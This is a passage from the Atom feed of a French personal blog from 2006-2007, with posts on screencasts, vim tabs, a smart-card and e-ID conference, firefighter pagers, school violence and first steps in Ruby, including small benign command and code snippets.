&lt;p&gt;Voici mon second &lt;em&gt;screencast&lt;/em&gt;, le &lt;a href="2007-02-27-classpath-pour-les-blaireaux.html"&gt;premier&lt;/a&gt; traitait du langage Java. Celui-ci présente comment convertir un fichier au format MS Word vers un PDF.&lt;/p&gt;
&lt;p&gt;Ce second &lt;em&gt;screencast&lt;/em&gt; portera le nom de &lt;strong&gt;Conversion doc-pdf pour les blaireaux&lt;/strong&gt;. &lt;/p&gt;
&lt;video width="100%" muted controls&gt;
  &lt;source src="/video/blaireaux_convertirdocpdf.ogm " type="video/ogg"&gt;
  Your browser does not support the video tag.
&lt;/video&gt;

&lt;p&gt;&lt;a href="https://www.dailymotion.com/video/x1ol13"&gt;Lien dailymotion&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Techniquement&lt;/h2&gt;
&lt;p&gt;Outre ce que j&amp;rsquo;ai déjà raconté, il faut que je me rappelle comment convertir un &lt;em&gt;ogg&lt;/em&gt; en &lt;em&gt;avi&lt;/em&gt; (qui sont tous deux des conteneurs vidéos). &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mencoder&lt;span class="w"&gt; &lt;/span&gt;foo.ogg&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;foo.avi&lt;span class="w"&gt; &lt;/span&gt;-oac&lt;span class="w"&gt; &lt;/span&gt;pcm&lt;span class="w"&gt; &lt;/span&gt;-ovc&lt;span class="w"&gt; &lt;/span&gt;lavc&lt;span class="w"&gt; &lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Image chez deviantart par &lt;a href="http://reginaldbull.deviantart.com/art/the-prisoned-ball-78923368"&gt;ReginaldBull&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Vim 7 tabs</title><link href="http://blog.namok.be/2007-03-23-vim7-tabs.html" rel="alternate"/><published>2007-03-23T00:00:00+01:00</published><updated>2007-03-23T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-03-23:/2007-03-23-vim7-tabs.html</id><summary type="html">Les onglets (ou tabs) sous vim, c'est magique.</summary><content type="html">&lt;p&gt;J&amp;rsquo;utilise vim tous les jours ou presque et je regrettais la difficulté d&amp;rsquo;éditer plusieurs fichiers en même temps. Pour être d&amp;rsquo;emblée plus précis, la notion du &lt;em&gt;buffer&lt;/em&gt; et ses difficultés ne répondait pas à mes attentes.&lt;/p&gt;
&lt;p&gt;Hier, je regarde au-dessus de l&amp;rsquo;épaule d&amp;rsquo;un étudiant (qu&amp;rsquo;il en soit ici infiniment remercié) et je vois qu&amp;rsquo;il a des onglets dans vim.&lt;/p&gt;
&lt;p&gt;— Wouah, pratique, c&amp;rsquo;est nouveau ? m&amp;rsquo;exclamais-je  &lt;/p&gt;
&lt;p&gt;— Heu, j&amp;rsquo;sais pas je teste, rétorque-t-il&lt;/p&gt;
&lt;p&gt;Quoiqu&amp;rsquo;il en soit je pousse plus loin. En fait je cherche très bêtement sur Google et trouve tout de suite &lt;a href="http://vimdoc.sourceforge.net/htmldoc/tabpage.html"&gt;la doc sérieuse&lt;/a&gt; sur le site du projet Vim.&lt;/p&gt;
&lt;p&gt;Ce qu&amp;rsquo;il faut en retenir, ce sont deux, trois instructions permettant d&amp;rsquo;ouvrir ou de fermer un onglet (tab)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:tabe nomfichier (tabe(dit))
:tabc (tabc(lose)))
:tabn (tabn(ext))
:tabn count (tabn(ext) atteint l&amp;#39;onglet numéro &amp;quot;count&amp;quot;)
gt (goto tab Noter l&amp;#39;absence de &amp;quot;:&amp;quot; )
    count gt (goto tab count)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Voilà, je peux dire sans me tromper que je vais user et abuser des onglets dans vim… ça me manquait un peu (Merci Magicrhérus):&lt;/p&gt;
&lt;p&gt;Une dernière pour la route : si je veux éditer tous mes fichiers Java en une seule commande, je fais&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gvim -p *.java
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;et j&amp;rsquo;obtiens une instance (en fait je pense une par onglet) de gVim avec un fichier par onglet.&lt;/p&gt;
&lt;p&gt;Elle n&amp;rsquo;est pas belle la vie ? &lt;/p&gt;</content></entry><entry><title>Citation de Bjarne Stroustup</title><link href="http://blog.namok.be/2007-03-21-bjarne-stroustup-quote.html" rel="alternate"/><published>2007-03-21T00:00:00+01:00</published><updated>2007-03-21T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-03-21:/2007-03-21-bjarne-stroustup-quote.html</id><summary type="html">Citation de Bjarne Stroustup</summary><content type="html">&lt;p&gt;Je lis ce matin dans le Metro, la citation du jour : &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;J&amp;rsquo;ai toujours rêvé d&amp;rsquo;un ordinateur qu&amp;rsquo;il soit aussi facile à utiliser qu&amp;rsquo;un téléphone.&lt;br&gt;
Mon rêve s&amp;rsquo;est réalisé : je ne sais plus comment utiliser mon téléphone.&lt;br&gt;
&lt;a href="http://www.research.att.com/~bs/homepage.html"&gt;Bjarne Stroustrup&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En soit ce n&amp;rsquo;est pas spécialement drôle. Ce qui l&amp;rsquo;est, c&amp;rsquo;est le signataire : concepteur du langage C++ et professeur d&amp;rsquo;informatique avec un CV à faire pâlir d&amp;rsquo;envie. &lt;/p&gt;</content></entry><entry><title>Informatique et société, identification numérique</title><link href="http://blog.namok.be/2007-03-14-infosoc-2007.html" rel="alternate"/><published>2007-03-14T00:00:00+01:00</published><updated>2007-03-14T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-03-14:/2007-03-14-infosoc-2007.html</id><summary type="html">infosoc, informatique et société est un jour de conférences à l'école.</summary><content type="html">&lt;p&gt;&lt;img alt="Affiche de l'event" src="/images/Infosoc_ESI__2007_cut.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Tiens, je poste le &lt;a href="//www.piday.org/"&gt;PI day&lt;/a&gt;. Ce n&amp;rsquo;est pas l&amp;rsquo;objet du jour mais j&amp;rsquo;en toucherai un mot.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui à l&amp;rsquo;école, c&amp;rsquo;était le jour des conférences, &lt;strong&gt;Informatique et société (infosoc)&lt;/strong&gt;. Le patron a envoyé des invitations un peu plus pompeuses mais je ne me rappelle plus. Ce que je sais c&amp;rsquo;est que le sujet était &lt;strong&gt;l&amp;rsquo;identification électronique&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;PI day&lt;/h2&gt;
&lt;p&gt;Comme son nom l&amp;rsquo;indique, c&amp;rsquo;est la fête à &lt;a href="//en.wikipedia.org/wiki/Pi_Day"&gt;3.141592&lt;/a&gt;, ça se fête donc le 3/14 (à l&amp;rsquo;américaine) vers 1h59 pour être précis.&lt;/p&gt;
&lt;h2&gt;Identification électronique&lt;/h2&gt;
&lt;p&gt;&lt;img alt="Affiche de l'event" src="/images/Infosoc_ESI__2007.jpg" width="33%"&gt;&lt;/p&gt;
&lt;p&gt;Nous avons pu entendre aujourd&amp;rsquo;hui 4 conférenciers et conférencières :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Introduction aux technologies des cartes à puce et à la notion d&amp;rsquo;identité numérique par Gilles Grimaud,&lt;/li&gt;
&lt;li&gt;Le Registre national et la carte d&amp;rsquo;identité par Luc Smet,&lt;/li&gt;
&lt;li&gt;Présentation des projets CESAME/SALADIN, Belgian e-Gov Award 2006 par Philippe Canon et&lt;/li&gt;
&lt;li&gt;Approche juridique des enjeux éthiques et sociaux par Daniel Fesler&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;La carte à puce&lt;/h3&gt;
&lt;p&gt;L&amp;rsquo;exposé m&amp;rsquo;a fort intéressé et j&amp;rsquo;excuse (c&amp;rsquo;est pédant hein) le conférencier d&amp;rsquo;avoir eu un peu de mal à « démarrer ». J&amp;rsquo;ai surtout apprécié la différenciation entre les cartes à puce sans contact et les cartes à puce avec contact.&lt;/p&gt;
&lt;p&gt;Je sais que le projet existe depuis plusieurs années mais l&amp;rsquo;idée de rendre les objets inertes intelligents ouvre pas mal d&amp;rsquo;horizons. J&amp;rsquo;aime le principe du stock intelligent — application des puces sans contact à un ensemble d&amp;rsquo;objets pour la gestion des stocks. On interroge le stock physique et plus la BD copie (normalement à jour) du stock. J&amp;rsquo;adhère comme dirait notre bon Bardack.&lt;/p&gt;
&lt;p&gt;Les exemples d&amp;rsquo;utilisation des puces étaient assez pertinents — comparaison entre les l&amp;rsquo;eID et le ePasseport — et ont pu faire sourire tout en éveillant l&amp;rsquo;attention à divers problèmes tels que l&amp;rsquo;éternelle protection de la vie privée. Je ne savais d&amp;rsquo;ailleurs pas du tout que les passeports actuels étaient munis d&amp;rsquo;une puce… que l&amp;rsquo;on pourrait lire à mon insu afin de me faire exploser à la sortie d&amp;rsquo;un aéroport… à la condition que je sois américain ! Pas de soucis donc 😁&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;orateur a également montré le chemin parcouru depuis l&amp;rsquo;adoption des cartes à puce — bancaires par exemple — et les différents essais de la part des malveillants afin de casser le système : du simple autocollant sur la partie « haute tension » de la puce afin de ne pas savoir réécrire l&amp;rsquo;EPROM et ainsi ne pas enregistrer la perte de crédit sur une carte de téléphone par exemple jusqu&amp;rsquo;à faire subir le passage au four à micro-ondes (si si) à une carte afin d&amp;rsquo;espérer modifier le bit qui va bien renseignant la fin de validité d&amp;rsquo;une carte ^^&lt;/p&gt;
&lt;h3&gt;Fichier central&lt;/h3&gt;
&lt;p&gt;L&amp;rsquo;orateur nous a fait une simple exposition de ce qu&amp;rsquo;est le fichier central… ce que l&amp;rsquo;on savait déjà. Le seul point intéressant à mon sens a été la visualisation du contenu type d&amp;rsquo;une carte d&amp;rsquo;identité électronique et comment y accéder… d&amp;rsquo;un PC MS Windows (mais je ne pense pas qu&amp;rsquo;il y ait de soucis via un PC Linux).&lt;/p&gt;
&lt;h3&gt;Projets CESAME et SALADIN&lt;/h3&gt;
&lt;p&gt;Ces projets ont été primés aux &lt;a href="//www.e-administration.be/index.php?action=article&amp;amp;numero=299"&gt;eGoc Awards 2007&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;CESAME permet la gestion des marchés publics au sens demande d&amp;rsquo;offre et gestion des réponses, tandis que &lt;a href="//saladin.met.wallonie.be/saladin/"&gt;SALADIN&lt;/a&gt; permet l&amp;rsquo;accès à des documents sensibles par authentification numériques. Les documents restent cryptés sur un serveur et sont accessibles après identification via son eID (carte d&amp;rsquo;identité électronique).&lt;/p&gt;
&lt;p&gt;Exposé somme toute intéressant puisqu&amp;rsquo;il permet de découvrir deux applications utilisant l&amp;rsquo;aspect « carte à puce » de la nouvelle carte d&amp;rsquo;identité.&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;On a pu conclure — après le troisième exposé — en allant « boire une p&amp;rsquo;tite mousse » — expression trop peu usitée à mon gout — à la Colonne.&lt;/p&gt;
&lt;p&gt;Ah oui, j&amp;rsquo;ai pris des photos car une collègue me le demandait… mais aussi et surtout afin de voir les étudiants de mon cours présents… (trop gros, passera pas).&lt;/p&gt;</content></entry><entry><title>Nouveau pager ASTRID</title><link href="http://blog.namok.be/2007-03-13-118-nouveau-pager-astrid.html" rel="alternate"/><published>2007-03-13T00:00:00+01:00</published><updated>2007-03-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-03-13:/2007-03-13-118-nouveau-pager-astrid.html</id><summary type="html">Nouveau pager ASTRID</summary><content type="html">&lt;p&gt;&lt;img alt="Pager ASTRID" src="/images/Bipeur_de_pompier_belge_ASTRID.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ça y est, nous avons reçu nos nouveaux &lt;em&gt;pager&lt;/em&gt; (bip de leur petit nom) ASTRID.&lt;/p&gt;
&lt;p&gt;Cela fait 1000 ans que l&amp;rsquo;on utilise des bips zénitel. Ces pagers sont basés sur les ondes radio et permettent d&amp;rsquo;être averti (un bib strident) de l&amp;rsquo;arrivée d&amp;rsquo;un message vocal (chez nous le message type est : « tervention »). Il est même possible de mettre le bip sur écoute et d&amp;rsquo;entendre tous les messages vocaux de la fréquence.&lt;/p&gt;
&lt;p&gt;Alors quelles sont les évolutions apportées par le système ASTRID ? Je ne pense pas être réfractaire aux idées nouvelles mais l&amp;rsquo;une ou l&amp;rsquo;autre chose me chipote avec l&amp;rsquo;arrivée de cette nouvelle technologie.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Il n&amp;rsquo;est pas possible de confirmer la bonne réception d&amp;rsquo;un appel.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est une &lt;em&gt;feature&lt;/em&gt; qui me paraissait primordiale. En effet ce serait tellement facile pour le téléphoniste de savoir immédiatement que les hommes qu&amp;rsquo;il a bippé vont arriver. J&amp;rsquo;espérais cette évolution.&lt;/p&gt;
&lt;p&gt;En deux mots, les bips n&amp;rsquo;ont pas la possibilité de répondre car sinon, ils deviennent émetteurs. Ce ne sont donc plus de simples récepteurs mais ce sont des appareils (beaucoup) plus évolués. L&amp;rsquo;abonnement chez ASTRID serait alors plus cher (genre 51 EUR/an pour un pager et minimum 283 EUR/an pour une radio).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le message est un message texte et non vocal&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bien ou pas bien, l&amp;rsquo;avenir nous le dira. J&amp;rsquo;imagine quand même qu&amp;rsquo;il sera plus difficile de lire le message lorsque l&amp;rsquo;on roulera « à tombeaux ouverts » (heu) vers la caserne. Par contre, le texto est mémorisé et l&amp;rsquo;on peut le conserver. À voir à l&amp;rsquo;usage donc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Il n&amp;rsquo;est plus possible d&amp;rsquo;être en écoute&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Jusqu&amp;rsquo;à présent lorsque je suis en écoute, je capte les messages des casernes d&amp;rsquo;Ath, de Chièvres, de Beloeil et de Lessines (parfois). Comme je suis curieux, ça me permet de savoir ce qu&amp;rsquo;il se passe dans la région.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;aucuns diront que c&amp;rsquo;est de la curiosité mal placée mais je perds un des gros avantages de l&amp;rsquo;écoute. C&amp;rsquo;est l&amp;rsquo;opportunité de savoir ce qu&amp;rsquo;il se passe dans ma caserne. &lt;/p&gt;
&lt;p&gt;Exemple : je suis de garde, nous sommes en pleine journée et je suis disponible. J&amp;rsquo;ai donc des chances d&amp;rsquo;être bipés pour la deuxième ambulance. Si je suis sur écoute, je peux entendre quand part la première ambulance et être « plus prêt »… on pourrait s&amp;rsquo;organiser pour remédier à cette lacune en demandant au téléphoniste d&amp;rsquo;envoyer un message lors du départ de la première ambulance. À voir aussi.&lt;/p&gt;
&lt;p&gt;Bon j&amp;rsquo;en reste là. Un gros avantage d&amp;rsquo;ASTRID, c&amp;rsquo;est que le bip est plus beau que le précédent. LOL&lt;/p&gt;</content></entry><entry><title>Classpath pour les blaireaux</title><link href="http://blog.namok.be/2007-02-27-classpath-pour-les-blaireaux.html" rel="alternate"/><published>2007-02-27T00:00:00+01:00</published><updated>2007-02-27T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-02-27:/2007-02-27-classpath-pour-les-blaireaux.html</id><summary type="html">Série « pour les blaireaux » : je positionne mon CLASSPATH pour Java</summary><content type="html">&lt;p&gt;Je m&amp;rsquo;essaie aux &lt;em&gt;screencast&lt;/em&gt; (c&amp;rsquo;est le mot à la mode pour : « je filme mon écran »). Je ne parlerai pas ici de l&amp;rsquo;utilité d&amp;rsquo;un tel concept, ce n&amp;rsquo;est pas l&amp;rsquo;objet. Je veux simplement mettre en ligne mon premier &lt;em&gt;screencast&lt;/em&gt; dans la série : &lt;strong&gt;pour les blaireaux&lt;/strong&gt; et me rappeler ce que j&amp;rsquo;ai fait pour l&amp;rsquo;installation.&lt;/p&gt;
&lt;p&gt;Pour le choix de la série, j&amp;rsquo;espère qu&amp;rsquo;elle sera longue (en fait tant que le concept m&amp;rsquo;amuse). Je propose de faire un &lt;em&gt;screencast&lt;/em&gt; de ces choses simples et expliquées maintes fois dans le cadre de mes cours. Lorsque l&amp;rsquo;on sait l&amp;rsquo;avoir déjà dit, l&amp;rsquo;avoir déjà écrit quelque part et que le montrer peut dépanner le blaireau (ce vocable n&amp;rsquo;est pas insultant, on est toujours un jour un peu à la traine par rapport à un autre.  Dans ces cas là, on est un peu blaireau. Je suis assez souvent aussi le blaireau d&amp;rsquo;un autre).&lt;/p&gt;
&lt;p&gt;Mon premier &lt;em&gt;screencast&lt;/em&gt; est avant tout un essai, un brouillon et porte le titre pompeux de &lt;strong&gt;Classpath pour les blaireaux&lt;/strong&gt;. Il réexplique comment positionner la variable d&amp;rsquo;environnement CLASSPATH.&lt;/p&gt;
&lt;video width="100%" style="object-fit: fill;" muted controls&gt;
  &lt;source src="/video/blaireaux_changerclasspath.ogm" type="video/ogg"&gt;
  Your browser does not support the video tag.
&lt;/video&gt;

&lt;p&gt;&lt;a href="https://www.dailymotion.com/video/x1bi5g"&gt;Lien dailymotion&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Techniquement&lt;/h2&gt;
&lt;p&gt;Pour parler un peu technique, j&amp;rsquo;ai installé &lt;em&gt;recordmydesktop&lt;/em&gt;. Il m&amp;rsquo;a suffit de le compiler (&lt;code&gt;configure&lt;/code&gt;, &lt;code&gt;make&lt;/code&gt;, &lt;code&gt;make install&lt;/code&gt;) après avoir installé les librairies qui vont bien (voir fichier INSTALL). &lt;/p&gt;
&lt;p&gt;Ce qu&amp;rsquo;il est bon de savoir &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c&amp;rsquo;est qu&amp;rsquo;il faut connaitre l&amp;rsquo;&lt;code&gt;id&lt;/code&gt; d&amp;rsquo;une fenêtre pour l&amp;rsquo;enregistrer, pour ce faire utiliser &lt;code&gt;xwininfo&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;qu&amp;rsquo;il faut trouver un moyen de diffuser le fichier (.ogg) autrement que par download (est-ce que le blaireau sait télécharger un .ogg et le visualiser ? ). Le plus simple est de l&amp;rsquo;&lt;em&gt;uploader&lt;/em&gt; sur un service en ligne genre dailymotion.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voilà voilà.&lt;/p&gt;</content></entry><entry><title>Brigitte et la Saint Valentin</title><link href="http://blog.namok.be/2007-02-10-brigitte-et-la-saint-valentin.html" rel="alternate"/><published>2007-02-10T00:00:00+01:00</published><updated>2007-02-10T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-02-10:/2007-02-10-brigitte-et-la-saint-valentin.html</id><summary type="html">Brigitte et la Saint Valentin</summary><content type="html">&lt;p&gt;Ça se raconte un peu partout sur le net…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si ta femme te tient la main à la Saint-Valentin, attend la Sainte-Brigitte&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tout ça me rappelle le groupe &lt;a href="http://fr.wikipedia.org/wiki/Elmer_Food_Beat"&gt;&lt;strong&gt;Elmer Food Beat&lt;/strong&gt;&lt;/a&gt;. J&amp;rsquo;ai du écouter leurs chansons des milliers de fois. &lt;/p&gt;
&lt;p&gt;Pour les jeunes incultes, je conseille l&amp;rsquo;album &lt;strong&gt;30cm&lt;/strong&gt; — ça ne s&amp;rsquo;invente pas — et l&amp;rsquo;on peut entendre l&amp;rsquo;une des plus connues chez &lt;a href="http://www.bide-et-musique.com/song/8907.html"&gt;&lt;em&gt;Bide et musique&lt;/em&gt; (Daniella)&lt;/a&gt;. Ça ne vaut pas Brigitte mais une recherche rapide ne ma rien donné.  La chute c&amp;rsquo;est : &lt;em&gt;Brigitte ça rime avec mab mab mab… Brigitte&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Violence</title><link href="http://blog.namok.be/2007-02-04-violence.html" rel="alternate"/><published>2007-02-04T00:00:00+01:00</published><updated>2007-02-04T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2007-02-04:/2007-02-04-violence.html</id><summary type="html">Écho de violence dans les écoles où l'on s'y fait parfois poignarder.</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/columbo.png" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Hier soir, nous mations &lt;a href="//www.allocine.fr/film/fichefilm_gen_cfilm=56885.html"&gt;Firewall&lt;/a&gt;, un film avec Harisson Ford. &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;objet du film est l&amp;rsquo;enlèvement d&amp;rsquo;une famille à des fins commerciales. Enfin commerciales n&amp;rsquo;est sans doute pas adéquat puisqu&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;un vol. Bref.&lt;/p&gt;
&lt;p&gt;Je ne sais pas bien pourquoi mais dans la tête de ma femme et moi &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; ça a tout de suite glissé sur les violences de ces derniers jours, plus particulièrement à &lt;a href="//www.lalibre.be/belgique/2007/01/23/coups-de-couteau-apres-un-renvoi-2D6VC5RFZFATRPFUBOOM5S2MAQ/"&gt;l&amp;rsquo;Institut Couzot de Dinant où le directeur s&amp;rsquo;est fait poignarder&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;ai surement pas envie de réagir par un « Comment peut-on en arriver là ? », la nature humaine est ainsi faite, je réagis simplement par un « Personne n&amp;rsquo;est à l&amp;rsquo;abri ». Réaction qui m&amp;rsquo;énerve au plus haut point car j&amp;rsquo;aime à faire naturellement confiance en l&amp;rsquo;homme. Je refuse tous les jours de poser certains actes de répression ou de prévention simplement car je &lt;strong&gt;veux&lt;/strong&gt; faire confiance à l&amp;rsquo;autre… même si…&lt;/p&gt;
&lt;p&gt;À beaucoup plus petite échelle, je regrette l&amp;rsquo;ambiance régnant parfois sur le forum que j&amp;rsquo;ai créé pour mes étudiants. Assez vite, on sent une agressivité latente entre étudiants et c&amp;rsquo;est dommage. Alors je suis déçu. Je ne regrette pas d&amp;rsquo;offrir le service mais ça m&amp;rsquo;énerve &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;… un peu.&lt;/p&gt;
&lt;p&gt;En fait je trouve dommage que l&amp;rsquo;on ne sache pas vivre en « parfaite harmonie ». D&amp;rsquo;accord. Ça fait &lt;em&gt;peace and love&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Alors à la fin de ce film où l&amp;rsquo;on se fait « agresser » (au sens large) pour de l&amp;rsquo;argent, ma femme &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; (qui est éduc) a conclu par :&lt;/p&gt;
&lt;p&gt;— T&amp;rsquo;inquiète pas si on se fait agresser,  ce sera gratuit.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo au hasard du web, le lieutenant Columbo et sa vielle voiture.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je dis la tête de ma femme et moi car nous ne faisons qu&amp;rsquo;un ^^ En fait je ne sais pas si l&amp;rsquo;on peut écrire « les têtes de ma femme et moi ». J&amp;rsquo;ai vraiment des lacunes en français.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Dans mon coin on utilise assez peu le verbe « énerver ». On lui préfère toujours « agacer ». Ça m&amp;rsquo;agace, en insistant sur le G.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Ça fait un peu Columbo de toujours parler de sa femme. C&amp;rsquo;est drôle.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Ruby sur l'ongle, on rails plutôt</title><link href="http://blog.namok.be/2006-12-14-ruby-sur-ongle.html" rel="alternate"/><published>2006-12-14T00:00:00+01:00</published><updated>2006-12-14T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2006-12-14:/2006-12-14-ruby-sur-ongle.html</id><summary type="html">Ruby sur l'ongle, on rails plutôt</summary><content type="html">&lt;p&gt;Je découvre le &lt;a href="//ruby-lang.org/"&gt;langage Ruby&lt;/a&gt; sans avoir lu sa « présentation ». Je ne sais donc à priori pas à quoi m&amp;rsquo;attendre. Je sais simplement que c&amp;rsquo;est un langage interprèté où tout est objet.&lt;/p&gt;
&lt;p&gt;Voyons voir…&lt;/p&gt;
&lt;p&gt;&lt;img alt="Un fauteuil" src="/images/ruby-fauteuil-2048.jpg" width="100%"&gt;&lt;/p&gt;
&lt;h2&gt;Les entiers sont des objets&lt;/h2&gt;
&lt;p&gt;Première découverte, les entiers sont (aussi) considérés comme des objets. D&amp;rsquo;accord ! Ce qui a pour effet que je peux leur appliquer des méthodes ^^. Pour exécuter 10 fois quelque chose, il me suffit donc d&amp;rsquo;écrire&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;times&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Les « bang ! » et les « huh ? »&lt;/h2&gt;
&lt;p&gt;Par convention, certains noms de méthodes se terminent par &lt;code&gt;!&lt;/code&gt; qui se lit &lt;em&gt;bang&lt;/em&gt;. Il signale que l&amp;rsquo;objet sur lequel porte la méthode risque d&amp;rsquo;être détruit ou modifié. Exemple&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Séduisante&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chop!&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Écrira &amp;quot;Séduisant&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;De manière similaire, une méthode se terminant pas &lt;code&gt;?&lt;/code&gt; qui se lit &lt;em&gt;huh&lt;/em&gt; (hein), informe qu&amp;rsquo;elle retourne une valeur booléenne.&lt;/p&gt;
&lt;h2&gt;Méthode singleton&lt;/h2&gt;
&lt;p&gt;Ruby propose les &lt;em&gt;méthodes singleton&lt;/em&gt;. Ce sont des méthodes redéfinies pour une instance de classe (un objet). Une méthode &lt;code&gt;foo&lt;/code&gt; est écrite pour tous les objets de la classe &lt;code&gt;C&lt;/code&gt; et l&amp;rsquo;instance particulière &lt;code&gt;c1&lt;/code&gt; de la classe &lt;code&gt;C&lt;/code&gt; peut réécrire la méthode &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ça donne une truc du style&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;C&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;foo&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Je dis foo&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

